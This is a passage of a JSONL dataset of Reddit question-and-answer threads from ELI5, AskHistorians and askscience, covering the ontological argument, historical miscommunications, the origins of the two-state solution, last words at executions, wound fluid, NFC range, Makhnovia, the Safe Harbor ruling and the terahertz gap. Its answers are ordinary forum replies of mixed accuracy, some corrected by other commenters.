imaginary.\n\nBasically, the claim being made is \"God is the biggest everything, that means the biggest thought PLUS the biggest reality.\"\n\n\"If you say god is imaginary, then what you are imagining is NOT actually god, because you say it's the biggest thought. But the biggest thought plus zero reality is LESS than big thought plus big reality.\"\n\n\"Therefore, because you are not imagining the biggest possible thing, you are not actually thinking about God Himself when you say he's imaginary\"\n\n========\n\nELI5 version: \"If you think God is only imagination, then you're not REALLY thinking about God, because God is bigger than imagination and so OBVIOUSLY you're not thinking about god, because what you say is only about imagination\"", "\"infinity exists, because infinity +1 exists\" ", "You're having trouble understanding it because it doesn't make sense. Basically it boils down to -\n\nPrerequisite: God is the greatest and most powerful being imaginable.\n\n- We think about god, but obviously a god that also exists in reality as well as our minds would be \"greater\" and \"more powerful\" than a god that only exists in our minds. \n\n- Since we just imagined a being that would be more powerful than a god that only exists in our minds, that means god can't exist only in our minds - he must be real.\n\nThe entire conclusion is based on the prerequisite which lacks a logical foundation. It only works as proof of god's existence if you already accept as fact that \"God is a being than which no greater can be conceived\".", "* Imagine the greatest being.  \n* By definition, if you have an idea of the greatest being, you cannot conceive of anything greater.  \n* However, if the \"greatest being\" is only an idea in your head, then you could conceive of that same being as an idea **AND** as a reality.  \n* The new being would actually be the greatest being.  \n* Thus, when you conceive of the greatest being, reality (or existence) is a necessary aspect of his greatness.  \n* We shall call this greatest being God.", "The thing about the Ontological argument is that it's part of Christian apologetics, which means that it isn't really trying to prove the existence of God in the same way that an argument like most cosmological arguments are, so if you approach it from that angle it looks like a really dumb argument (even other Christian apologists said this).\n\nThe ontological argument is a \"good argument\" not because of how strong an argument it is (because it really isn't at all) but because of how it argues it. It's the only mainstream \"a priori\" argument for the existence of God, which makes it unique, but also intellectually interesting as an argument.\n\nA lot of people will point out this argument begs the question, but that is what it is essentially supposed to do: it's not meant to prove the existence of God to someone who is skeptical about God's existence, it's meant to be read by someone who is sure of God's existence, and give their faith a rational basis. All of Christian apologetics is essentially applying Socratic reasoning to Christianty in order to raise the standard of debate *within* Christianity. This is why people often find Pascals Wager hard to understand and/or a really dumb argument: it's not proving that God exists, it's simply Pascal applying probability as a discipline to Christianity because it was interesting, essentially (also the argument itself, much like the problem of evil, isn't really an argument for/against the existence of god but an argument about acting as if God exists, or whether you should \"worship\" God)", "The simple simple SIMPLE version of this is:\n\n1)God is perfect\n2) To exist is MORE perfect than to not exist.\n\n3) Therefore, God exists.\n\nThink of it this way, I can think of the most perfect girl for me. A girl I could find no faults in. Now, she is pretty damn perfect in my mind, but for her to be truly perfect then she would also have to exist in reality simply because if she only exists in my mind then she is lacking another quality which I would desire in her - EXISTENCE. So for her to be truly perfect she HAS to exist in reality.\n\n\nOf course this argument is a load of rubbish. Silly Anselm.", "I use ontology, and I'm confused as to why he's defined a reality **outside** of his mind to exist. ", "What a horrible argument", "Perhaps part of the difficulty: Anselm make a bunch of really big assumptions that he doesn't explicitly state, let alone support with argument.\n\n* He doesn't say what he means by \"greater,\" or whether it makes sense to talk about a \"greatest being.\" Why could there not be 2 beings of equal greatness, both of which no greater can be conceived? Or how do we even know that the greatness of two beings can be compared? Or maybe there's *always* a greater being, no matter how great you get!\n\n* He doesn't address whether there is a meaningful distinction between existence \"in the mind\" and existence \"in reality.\" And even if there is, the assertion that \"in reality\" is greater than \"in the mind\" does not immediately follow.\n\n* He doesn't support the claim that our failure to imagine something must mean that it does not exist. Why should the universe be limited by our minds?\n\nSo if that's more confusing, please ignore it. I thought I'd throw in my 2 cents by pointing out (in more detail than you probably needed) that it's kind of a stupid argument.", "Funny thing how this logic works also to prove god's nonexistent.\nSince doing something with a disability is a greater achievement, than doing it while being perfect, god must be nonexistent, because doing something while being nonexistent must be the greatest kind of achievement.", "Actually, it starts a bit earlier than 1.\n\nAnselm explains it like you're 5: \"We cannot imagine anything that doesn't exist. Even if you imagine some kind of fantastic being, it is always composed of real things, like a Unicorn is composed of a horse and a horn. So, if you can imagine perfection, perfection should exist somehow. Now, God is, by definition, exactly what is perfect and what is greatest. God is perfection, and the greatest perfection. If it exists, nothing can be more perfect than God. If we can conceive perfection, it exists and God is it. If we can conceive greatness (a weird thing to conceive) than God is it, and is actually greater (and more perfect) than anything we can conceive, because everything we conceive is imperfect (although it has some perfection).\"\n\nIt is quite a circular argument, like any argument proving what is unproveable. \n\nIt is ontological because it understands qualities (perfect, great - adjectives) as beings, and if they be, then God is it. (You have to understand it within a aristotelic, scholastic metaphysical matrix where beings are made up of essence and form)", " >   I simply cannot understand it.\n\nThere isn't a lot there to be \"understood\". The argument is inherently flawed and doesn't do what it says it does. This is not a working proof of God.\n\n >  1.Our understanding of God is a being than which no greater can be conceived.\n\nWhich is nothing but a load of weasel words, really. This doesn't mean anything.\n\n >  2.The idea of God exists in the mind.\n\nYes.\n\n >  3.A being which exists both in the mind and in reality is greater than a being that exists only in the mind.\n\nPossibly. If we include \"existence\" in the definition of \"great\". It seems a bit pointless to me. Surely, Superman is a great comic book character?\n\n >  4.If God only exists in the mind, then we can conceive of a greater being\u2014that which exists in reality.\n\nThis is where we should just give St. Anselm a quick kick into the head to put an end to the pain. Ours, that is.\n\nYes, it would be better if the Ferrari I dream of would be in my garage, rather than just in my dreams. But there aren't two different Ferraris, and one isn't \"better\" than the other.\n\n >  5.We cannot be imagining something that is greater than God.\n\nTautology. If God is the coolest thing we can imagine, then we cannot imagine anything cooler than god.  So, either Blue m & m's should be worshipped, or St. Anselm really doesn't have much of a clue...\n\n >  6.Therefore, God exists.\n\nTherefore, St. Anselm, was full of it. Like anyone before him and after him that thought they could proof a God exists without dragging him in by his almighty ear."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Philosophy-Book-Will-Buckingham/dp/0756668611"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "v785b", "title": "Tragic communication breakdowns in history", "selftext": "[This thread] (_URL_0_) gave me the idea... \n\nThe Battle of New Orleans was fought after the conflict was ended by the treaty of Ghent.  Presumably a lot of people were killed or maimed for \"no reason\" as it were.  \n\nWe take instantaneous communication so much for granted these days, but it was not the case for most of history.  \n\nWhat are some of the most interesting, funny, tragic or otherwise remarkable events in history that occurred simply due to lack of, or miscommunication?\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/v785b/tragic_communication_breakdowns_in_history/", "answers": {"a_id": ["c51yow8", "c51yptl", "c51z8yj", "c51zp0v", "c5204jq", "c520fdj", "c5210c1", "c523q63", "c524iui", "c525gvf", "c525wr1"], "score": [46, 8, 16, 5, 11, 16, 6, 4, 5, 4, 4], "text": ["Well, there were the Japanese soldiers sent to the Philippines who were living in the jungle for more than two decades after World War II actually ended (the last one was finally tracked down in 1974 - he had been hiding for around 29 years of his 52 alive).  Pretty crazy shit.\n\nSources [here](_URL_1_) and [here](_URL_0_).", "I know that the Charge of the Light Brigade is one example, though I'm not sure it's the sort of \"breakdown\" you're talking about. I'm also not an expert; would one like to comment on it?", "The different interpretations of the kowtow, definitely destroyed many chances of communication on the high level between the British and the Chinese. \n\nTo use the McCartney embassy as an example: If McCartney had been willing to kowtow in front of the emperor, not as a sign of filiality but one of respect OR if the emperor would have understood his refusal to cooperate was not mere recalcitrance, cooperation between the west and China could potentially have been a lot better.", "Supposedly Pearl Harbor was a surprise attack because the Japanese embassy took too long to decode the message. Though I don't see that declaring war while the planes are in the air is all that different.\n\n", "The city of [Saint-Malo](_URL_0_) was destroyed by mistake by the Americans. \n\nWhen they got to the area Americans soldiers asked French locals where the Germans were. The answer they got was *la cit\u00e9 d'aleth*, a sort of peninsula/hill with a massive bunker complex on it. They understood *la cit\u00e9*, assumed it meant city, and went on to firebomb the historical city. It was 80% destroyed, and there were barely any germans there =/\n\nAt least it is how the story is told locally. \nIt is a fact though that there were very little than 100 germans in the city itself. ", "In the wake of the Potsdam Declaration, in which the Allies demanded the unconditional surrender of the Japanese, the Asahi Shimbun printed that the government's official response was \"\u9ed9\u6bba,\" mokusatsu, a remark which was supported in a speech by the Prime Minister later that day. This literally translates as \"silence killing,\" but was translated at the time by the Allies as \"to kill with contemptuous silence.\" The problem is, it's a lot more complex than that. It can also mean to just let a subject drop by not following up on it, and the reasons can be discomfort, embarrassment or a simple inability to figure out what to say about it. Prime Minister Suzuki made an obscure remark targeted to a domestic audience in order to appease the military (whose partisans would make two attempts on his life when he and the Emperor entered into peace negotiations), but it was translated as being much more strong in its denunciation, and taken as a sign of intransigence by the Allies. Intransigence which led Pres. Truman to approve the use of the atom bombs on Hiroshima and Nagasaki. The additional time that a more clear response might have granted might have allowed one or both the bombs to be avoided.", "The \"Lost Dispatch\", [Special Orders, No. 191]( _URL_0_), might qualify.\n\nIn the beginning stages of the invasion of Maryland by the Confederate Army of Northern Virginia, Gen. Lee drafted Special Orders, No. 191 detailing the routes and timing of the advance of the various forces under his command. The orders were sent by courier to the headquarters of each corps. At Gen. Hill's headquarters, the orders were dropped and left behind when his corps moved. A Union private discovered the orders, and they were forwarded up the chain of command, eventually reaching Union Gen. McClellan, commander of the Army of the Potomac and one of the most incompetent generals in American history, chiefly because he always vastly overestimated the size of opposing forces and was thus reluctant to engage in battle. Armed with the new intelligence, McClellan uncharacteristically made some sound operational decisions and defeated the Confederate invasion at Antietam. (And then went right back into character and failed to fully exploit the victory, because shockingly he overestimated the size of the Confederate forces and suspected a trap.)\n\nI guess this isn't really a communications breakdown, but it's close and it's interesting.", "Perhaps the most studied battle in history, the Battle of Waterloo, had a lot to do with communication. Napoleon's strategy involved trying to cut the lines of communication between Wellington and his base at Ostend. The Prussians were able to retreat in such a way that they could maintain constant communication with Wellington (and the French seemingly did not know that this retreat even happened), which led to great confusion for the French and success for Wellington and his allies. Finally, and perhaps most importantly, there was a lot of confusion (and still is today) over an order given that may come down to bad handwriting, which many historians think was a turning point in the battle -- what happened is really complicated so if you want to read more about it, [here's a detailed account](_URL_0_).  ", "[UN Resolution 242](_URL_0_):\n\n >  The French version of the clause reads:\n\n >  Retrait des forces arm\u00e9es isra\u00e9liennes des territoires occup\u00e9s lors du r\u00e9cent conflit.\n\n >  The difference between the two versions [English and French] lies in the absence of a definite article (\"the\") in the English version, while the word \"des\" present in the French version in the expression \"des territoires occup\u00e9s\" can only mean \"from the occupied territories\" (the \"des\" in front of \"territoires occup\u00e9s\" can only be the contraction \"from the\" because of the use of the word \"retrait\" which entails an object - \"des forces isra\u00e9liennes\" where the \"des\" is the contraction of \"of the\" (of the Israeli forces) and a location \"des territoires occup\u00e9s\" where the \"des\" is the contraction of \"from the\" (from the occupied territories)). If the meaning of \"from some occupied territories\" were intended, the only way to say so in French would have been \"de territoires occup\u00e9s\". Although some have dismissed the controversy by suggesting that the use of the word \"des\" in the French version is a translation error and should therefore be ignored in interpreting the document, the debate has retained its force since both versions are of equal legal force, as recognised languages of the United Nations and in international law.\n\nIsrael used this as justification of not having to give back *all* of the occupied territories.", "Wasn't the fall of the Berlin Wall precipitated by a miscommunication? The government of the East announced that it would eventually be easing travel restrictions but it was mistakenly reported as taking effect immediately, right?\n\nI'm no historian but that's what a German professor told me.", "What about the German terror bombing of Rotterdam, after the city had surrendered?"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/v68jf/im_tired_of_people_saying_the_modern_world_is_so/"], "answers_urls": [["http://www.damninteresting.com/the-soldier-who-wouldnt-quit/", "http://www.todayifoundout.com/index.php/2010/02/a-japanese-soldier-who-continued-fighting-wwii-29-years-after-the-japanese-surrendered-because-he-didnt-know/"], [], [], [], ["http://en.wikipedia.org/wiki/Saint-Malo"], [], ["http://en.wikipedia.org/wiki/Special_Order_191"], ["http://www.napoleon-series.org/military/battles/waterloo/c_waterlood'erlon.html"], ["http://en.wikipedia.org/wiki/United_Nations_Security_Council_Resolution_242#French_version_vs._English_version_of_text"], [], []]}
{"q_id": "9fmi87", "title": "Where exactly did the two state solution (Palestine and Israel) come from? Don\u2019t Palestinians kind of already have their own state (or rather, a bunch of them like Saudi Arabia, Egypt, Jordan, etc)?", "selftext": "I\u2019m not trying to offend, I\u2019m just trying to understand what grievances creating a Palestinian state addresses that aren\u2019t already addressed.\n\nI\u2019m also not trying to delve more deeply (than necessary) into Palestinians\u2019 grievances against Israel, as I\u2019m cognizant of Israel displacing Palestinians from the West Bank and Gaza Strip, as well as Israel\u2019s heavy handed tactics in responding to Hamas (which really plays right into the hands of Hamas by damaging the reputation of Israel on a worldwide stage).\n\nI\u2019m also not entirely that I\u2019m posting this in the right place, in which case I am willing to take that under advisement and post somewhere else. Thank you for your help.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9fmi87/where_exactly_did_the_two_state_solution/", "answers": {"a_id": ["e5y3406"], "score": [7], "text": [" > Where exactly did the two state solution come from?\n\nThe basic idea comes the various partition plans that were mooted during the Mandate of Palestine, culminating in the 1947 UNSCOP plan which would have created two independent states, one Palestinian and one Jewish. This plan was accepted by the Jewish/Zionist organizations of Palestine but rejected by the Palestinians and neighboring Arab states resulting in the 1947-48 civil war and 1948 Israeli independence war.\n\nThe mantra-like phrase \u201ctwo state solution\u201d is more recent. The Palestinian Liberation Organization was founded to pursue effectively a \u201cone-state\u201d liberation policy but by 1974 adopted language that described more limited aims, if only for the time being. The United Nations General Assembly that same year adopted a resolution recognizing Palestinians\u2019 rights to self-determination. Also that same year the Arab League recognized the PLO as the sole representative\nof the Palestinian people, a title that had previously also been\nclaimed by Jordan.\n\nUS pursuit of the two-state solution while almost a platitude today was was much more controversial just about up to the limit of\nour 20 year rule. Carter was the first US president to express support for Palestinian statehood. The Reagan Plan would have created Palestinian autonomy within a kind of Jordanian supervised confederation. \n\nIn 1988, however, Jordan renounced its claims to Palestinian territory.\n\nWith the signing of the Oslo accords in 1993, that peace negotiations would be building towards some kind of eventual two-state solution has been the basis of talks ever since.\n\n >  Don\u2019t Palestinians kind of already have their own state (or rather, a bunch of them like Saudi Arabia, Egypt, Jordan, etc)?\n\nNo. Of the countries that have large Palestinian populations, only in Jordan (and, perhaps ironically, in Israel itself) have a large number of Palestinians actually been granted full citizenship.\n\nIn Lebanon, for example, Palestinians are stateless, and are effectively precluded from formal employment, property ownership, and other rights limited to Lebanese citizens.\n\nSo no, nowhere do these Palestinians \u201chave their own state\u201d, or any state, to which they are entitled to live, to work, to have political self-determination, etc.\n\nNow, there\u2019s a political argument that all of these states should do that. The reasons why they haven\u2019t are various (in Lebanon, for example, the mere presence of the Palestinians was one of the primary causes of the Lebanese Civil War. Granting them citizenship would destroy the balance of the National Pact and the Taif Accords.) but are ultimately a separate question.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k6pfk", "title": "What is the origin of the tradition of asking for the \"last words\" of the condemned; is it prevalent across all or many cultures?", "selftext": "Do we know the reason this is a common thing? Why exactly do the last words matter? Does anything special happen to / because of them?\n\n(If this is the wrong sub for this question I apologize)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1k6pfk/what_is_the_origin_of_the_tradition_of_asking_for/", "answers": {"a_id": ["cbm03fa"], "score": [2], "text": ["I can't speak too much for your second question, but will try and provide an answer to your first by focusing on the western world.\n\nTo understand the origins of last words we also have to understand one of the primary purposes of capital punishment.  One of the primary ways in which a state maintains power is through the widespread acceptance (if not support) of it's monopolization of \u201clegitimate\u201d violence.  In the early modern era of Western history (circa 1500-1800), when the central state was relatively weak or largely non-existant, government officials enlisted capital punishment as a primary method through which they could assert their power over the general population or, in other words, to show the population that it carried the right to the monopolization of violence.  First and foremost, capital punishment in the early modern era was a political act committed by the state.  This can be supported by the fact that the state used capital punishment mostly against those who committed either overtly political crimes or crimes that threatened the stability of the established social order.  (The idea of capital punishment as a political act can still be seen today in the United States, where the Constitution explicitly delineates treason as a capital offense.  Likewise, as European government officials in the 20th century gradually abolished the death penalty for matters of traditional crime, most states continued for many years longer to keep capital punishment on the books for acts of treason.)  If capital punishment was primarily political, and if we take as truth the notion that politics is theater, we can then also suppose that capital punishment was primarily an act of theater.  The theatrical side of capital punishment can be easily noticed when looking at how executions were handled in the early modern era.  The condemned was often forced to walk or ride for miles through towns on his way to the gallows, often subjected to the taunts of those he passed as crowds gathered and ultimately followed the procession to its ending point.  Once at the place of execution, the prisoner was killed at the top of a tall scaffold, built specifically in mind for allowing the maximum number of people to view the event.  In the early modern period, executions were very much a public spectacle.  Within this spectacle, last words were also a part of the state-run theatre of execution.  This was often the time in which the condemned would renounce his crimes and state his acceptance of execution as a legitimate punishment.  Of course, there was always the chance that the person about to be executed could use this time to appeal to the audience gathered below.  To stop this from occurring, the vast majority of last words said by the condemned were actually read from a written statement, fabricated or not, by a government official at the site of execution.\n\nOf course, capital punishment in the Western states during the modern period (circa late 18th-early 20th century) lost much of its political relevancy and support as the power of centralized states solidified and liberal ideals stressed the importance of an individual\u2019s life.  If states used last words in the early modern period as a way to reinforce the state\u2019s power, why would they still be a part of executions in the modern era, when capital punishment was used with less frequency and many began to question the morality of the act?  Last words took on new significance in the modern world within the Western states, particularly in the 20th century. Notably, the purpose of last words was still primarily for the executioner rather than the condemned.  In the modern era, the value given to an individual\u2019s life placed a moral burden on those executioners that was not so readily present in the early modern period.  (It should be noted that a shift gradually occurred during the change from the early modern to the modern era regarding the perception of who, exactly, was the executioner.  In the early modern era the executioner was often perceived to be, unsurprisingly, the actual executioner, along with the head of state.  In the modern era, however, the face of the executioner is most often given to the government official who approves the movement for execution).  The instillation of liberal ideals like individualism and the right to life put the executioners of the modern world in the awkward predicament of carrying out an action that so clearly went against their society\u2019s values.  As the sociologist David Garland says about American executions in the 20th century, government officials could allow for the execution of criminals but they certainly could not show any satisfaction in doing so.  One way to ease this disparity between societal values and actions was to make capital punishment more humane.  This was done, for instance, by making the methods of execution less gruesome and moving executions from from public view.  Thus, the continuation of the tradition of last words into the 20th century can be seen as only one component in a broader attempt to show capital punishment as being committed with an enlightened, humanistic, and ultimately liberal manner. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b2rths", "title": "where does the clear liquid that shows up after you've stopped bleeding come from? and what is it? (like after popping a zit, picking a scab...etc)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b2rths/eli5_where_does_the_clear_liquid_that_shows_up/", "answers": {"a_id": ["eiumpwz", "eiuuijf", "eiv4a44", "eiv4wz7", "eiv4y8u", "eiv7q7r", "eiv80oe", "eiv8ggo", "eivdf2e", "eivg95z", "eivky6d", "eivnaue", "eiw0e8n", "eiw3pw9", "eiwkbji"], "score": [10947, 151, 2, 12, 3, 719, 146, 47, 16, 3, 3, 3, 5, 2, 3], "text": ["It is a bunch of microscopic specialized doctors and soldiers your body has that repair and protect any openings in your skin no matter how big or small. They're just rushing to the opening all at once to fight back any bad germs that want to get in, keeping any good germs in, and then fixing your skin one itty-bitty piece at a time.\n\nThe doctors and soldiers are made and released from special factories inside of your bones. But they use your blood as roads to commute to and from work but also to respond quickly to an emergency on your skin. \n\nEdit: where they come from.\n\nEdit 2: Wow! Front page! Congrats u/gregc97 ! And thank you all for getting him there! \n\nThank you anonymous redditors for the Gold and Silver! This has completely made my day!\n\nI have just gotten a small taste of RIP inbox. It's a thing. I will try to reply to all of you on my lunch break. Shout out to  Dinty Moore Beef Stew!\n\n2 things have come up repeatedly: apparently I explained Pus whereas OP was wondering about plasma. I thoroughly apologize for not being accurate. Someone ELI5 plasma? And second, apparently an anime by the name of Cells at Work needs to be on my watch list. I'll add it to my queue. It seems interesting.\n\nIn the mean time, be excellent to each other!", "FYI, while the other responses answer what it is, they don\u2019t answer what it\u2019s called: serum.", "Your blood. It is white blood cells. White blood cells are the part of your blood that heal wounds, make scabs, and also help fight off sickness.", "It comes from the blood. \n\n & #x200B;\n\nThere are platelets in the blood that will bind together to form a kind of net.  Then the other parts of the blood get stuck in the net and what you are left with is mostly water.\n\n & #x200B;", "it\u2019s called tissue fluid. it\u2019s mostly water and white blood cells and gets made when these get pushed out of blood when blood vessels get really small. ", "When you pop a pimple, which is a tiny infection, you\u2019re seeing the fluids that carry the white blood cells that are fighting the infection in your skin. \n\nIt\u2019s cellular fluids and lymphocytes as well as other white blood cells. When the body is damaged or invaded by a microbe, the body\u2019s alarm system, messenger cells (T cells) to alert the fighters (white blood cells) to take care of business. (Some T cells also fight invaders directly.)\n\nIt comes from the lymphatic system. A series of vessels that connect to our organs and blood vessels. \n\n(The lymph itself is produced by in the blood cell producers in your bone marrow.)\n\nThat\u2019s why you see clear fluid when you clear pus from a wound. \n\nEdit: Thanks to everyone who had something to add. I took cellular anatomy in the early 2000\u2019s and could use a refresher. \n\nHope you all have a wonderful day.", "It's all part of the same stuff! Your blood is composed of 4 parts. Serum (clear, thin fluid), clotting factor, serum with clotting factor makes up what is called your blood plasma, the liquid portion of your blood essentially, the other 2 things are the solid parts of your blood. The red blood cells(RBCs) and the leukocytes or white blood cells. \n\nRBCs are how your body transmits oxygen through your circulatory system, and leukocytes make up your badass immune system.\n\nWhen clotting factor and RBCs are exposed to air, they bundle up into a clot that blocks flow of most things out of your body, but some serum can still leak through typically.\n\nAdditionally, your body will just send water to an inflamed area, much as you'd find in a blister or swelling in any part of your body. This is basically the same material as the tears in your eyes, and can also leak out of a wound such as a popped pimple.\n\nEdit: as per u/newtothelyte and his/her correction, removed platelets from part of clotting factor.", "Interstitial fluid. It's not just water or sweat. Can come initially or after further picking. Contains coagulation factors to kick off a specific clotting pathway involved with tissue damage. Probably contains certain immunological components too to protect you from infection. \n\nImportant for blood taking because it'll dilute your chemistry results and give abnormal coagulation times.\n\nEdit: holy guacamole my first medal. Thank you stranger! I accept this award with great humility", "That \"clear liquid\" is called interstitial fluid. Blood vessels are purposly a little leaky because it allows things like vitamins, minerals, carbohydrates, fats, and all other things your cells need to get to them. Think of it as your blood vessels are a road but there are no driveways to the cells so everything that has to get to them has to go off roading.", "Clear liquid from a pimple is 'serous fluid' containing white blood cells killed in the battle against bacteria/inflammation. It is the natural cycle of healing inflammation and white blood cells doing their job.", "oil, plasma, raw/injured skin defending itself against dirt and stuff to keep from infection. pimple is oil trapped under skin cheese clogging your pores", "Just tissue fluids. Water, electrolytes and stuff. Just the fluid that is inbetween all the tissue in ur body. It is there when you are bleeding toi. But it mixes with the blood and since it has no color, you cant see it. Your platelets (and more) close the injured blood vessels so the bleeding stops but there is still destroyed tissue like skin cells and stuff. That stuff has tissue fluid in it ", "There\u2019s a lot of misinformation in this thread now, which is really worth clarifying. \n\nIt is not serum, pus, or plasma; it\u2019s just interstitial fluid. It\u2019s almost entirely water, with a few electrolytes, a few proteins, and trace other elements. \n\nBasically there\u2019s water between your cells, everywhere. If you pierce the skin but don\u2019t open a clear pathway to the bloodstream, you can squeeze out some of this water. It\u2019s totally harmless and doesn\u2019t mean anything\u2019s wrong. ", "I wonder why sometimes after it dries a small clear, slightly yellowish crystalline material is left behind as well.", "Those are called tears and they come from your eyes when you hurt yourself. It's mostly made up of water "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "38f397", "title": "is it possible to extend the range of near field communication?", "selftext": "And if it is (obvious name issues aside), why aren't we extending the range and making it Slightly-Larger-Field-Communication? Are there any technological roadblocks to doing this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38f397/eli5_is_it_possible_to_extend_the_range_of_near/", "answers": {"a_id": ["crujtbc", "crukf8f"], "score": [3, 3], "text": ["You don't want a large range on NFC for a couple of reasons, first, the proximity of devices is there for security. You don't want things around you snooping for data. Second, a larger field requires a larger power source. Some NFC things have to be able to power for a long period of time in a small form factor, like a credit card with NFC.", "Yes you can, but then it wouldn't be \"Near\", and bluetooth pretty much has that segment covered.\n\nI have had NFC security passes that can be scanned by simply walking through a doorway with the pass in my pocket.  The scanner was built into the door frame."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6a2sl0", "title": "if someone is cheating in a relationship, why do they tend to blame the partner they're cheating on for cheating?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6a2sl0/eli5_if_someone_is_cheating_in_a_relationship_why/", "answers": {"a_id": ["dhbapkm", "dhbaxqg"], "score": [2, 7], "text": ["Because when people cheat and I am not referring to the scum bag that always cheats, the relationship is broken. It's no one's fault but your own if u cheat but it can often be part of a bigger issue with one, or both, partner not getting their needs met. ", "Projection. We almost never think of ourselves as the \"bad guy\" because our brains use coping mechanisms to justify our faults. Projection is one of those coping mechanisms, where you blame your own issues on someone else so that you can tell yourself you're justified in your actions and that they're the real problem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tnwye", "title": "how do large servers with millions of users like google keep free from viruses, malware, etc. that are part of the data stored from users, capable or harming regular computers?", "selftext": "I know that home computers with one or more users can contract malware, Trojans, or issues of that nature, but how is it huge servers like those of Google that have billions or users don't become infected or compromised by stored user data?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tnwye/how_do_large_servers_with_millions_of_users_like/", "answers": {"a_id": ["ce9ssf2", "ce9tnv1"], "score": [12, 2], "text": ["1) They just store (and possibly search through) the data, they don't execute anything. I don't know exactly how they do google docs, but I assume that's some fancy javascript and html and nothing from the user is run server-side. Viruses need you to run them to infect your computer.\n\n2) All software is kept very up-to-date (i.e. all known exploits fixed) - out-of date software is often a weakness which allows home computers to be infected. They probably have security professionals try to break some test servers regularly as well.\n\n3) Regular backups - in the unlikely event a virus is found the time to fix it should be short with minimal data loss.\n\n4) No one bothers sending viruses at them because the chance of it working (and staying on their system for long) is virtually nil, due to the above reasons. Why go to all that effort when you can just infect some idiots who'll run executable files you sent them in an email?", "They dont execute stored user data, merely store and transfer it.\n\nThey are certainly vulnerable to exploits based on vulnerabilities in the OS running on the server (linux, windows server), but exposure to sources of such threats is limited in every way possible.\n\nMalware and trojans generally infect computers via users being 'tricked' into running an executable (social engineering), so the user has voluntarily installed it which is obviously less likely on a well administered server. \nViruses and more specifically worms may actively seek out known flaws in networked devices, but as servers are put in place for a specific purpose they can be hardened against those kinds of threats in a way that a general purpose PC with multiple (often out of date) applications running with administrator rights cannot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "f4rhz1", "title": "How successful was the Ukrainian Free Territory aka Makhnovia?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f4rhz1/how_successful_was_the_ukrainian_free_territory/", "answers": {"a_id": ["fhwvrxg"], "score": [2], "text": ["I wrote at length about day-to-day life in the Ukrainian Free Territory [here](_URL_0_) where I talk about both the decision-making process of the seven-person military tribunal which managed the armed forces as well as the peasant-run communes which managed the civilian sector of the Free Territory. That answer also describes the absolutely dire material circumstances that the Makhnovians found themselves in from the start to the finish of their experiment in statelessness. See the header *A Day in the Life* if you'd like to skip the introduction and foundational story, and please feel free to ask any follow-up questions because this is among my favorite subjects from the period. You'll also find links to several absolutely amazing sources from people who lived in the Free Territory and wrote about their experiences afterward."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/eiprbk/what_was_life_like_in_makhnovia_aka_the_ukraine/"]]}
{"q_id": "3p6hcv", "title": "please explain this us-eu safe harbor ruling", "selftext": "[article](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p6hcv/eli5_please_explain_this_useu_safe_harbor_ruling/", "answers": {"a_id": ["cw3n94l"], "score": [5], "text": ["Basically, people in the EU have a fundamental right to data privacy. There are a host of laws in the EU that concern how their data can be used. The US does not have this, in the US it is either nonexistent or very sector specific. \n\nUnder EU law, the way the US treats data privacy violates citizens fundamental rights. So US companies came up with this (no longer) Safe Harbor in which US companies could self verify that they follow practices consistent with how the EU mandates individual's data/privacy be treated. This would allow the transfer of data to the US.\n\nThe European Court said that this is invalid because the US government is not bound by this and the US government can get access to European citizen's data held in the US for basically whatever reason it wants (or none at all).\n\nRemember all the Snowden leaks about the NSA? The European Court said look, American companies, we know your government has access to all this data and in the EU that's not acceptable so you can no longer transfer data to the US until you assure us that it will be protected."]}, "title_urls": [], "selftext_urls": ["http://arstechnica.com/tech-policy/2015/10/fallout-from-eu-us-safe-harbour-ruling-will-be-dramatic-and-far-reaching"], "answers_urls": [[]]}
{"q_id": "bdavf5", "title": "What is the Terahertz Gap and why does it exist?", "selftext": "\u201cIt is defined as 0.1 to 10 THz (wavelengths of 3 mm to 30 \u00b5m)\u201d\n\nI gather we can do stuff below 0.1 THz and stuff above 10 THz, so what is it about this range that creates a problem?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bdavf5/what_is_the_terahertz_gap_and_why_does_it_exist/", "answers": {"a_id": ["ekxob3r"], "score": [22], "text": ["It's more of an engineering problem than anything else.  Below 0.1 THz you're firmly in the realm of electronic detectors and emitters using electrons moving or being moved along a wire to generate or detect a signal.  Above 10 THz you're in the realm of optics using LEDs and semiconductor lasers to emit and photodiodes to detect.\n\nIn between the two regimes we haven't yet found suitable materials to generate or detect those frequencies but some inroads are being made, e.g. _URL_0_ (paywalled, sorry, but you can still read the abstract.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nature.com/articles/nphoton.2009.3"]]}
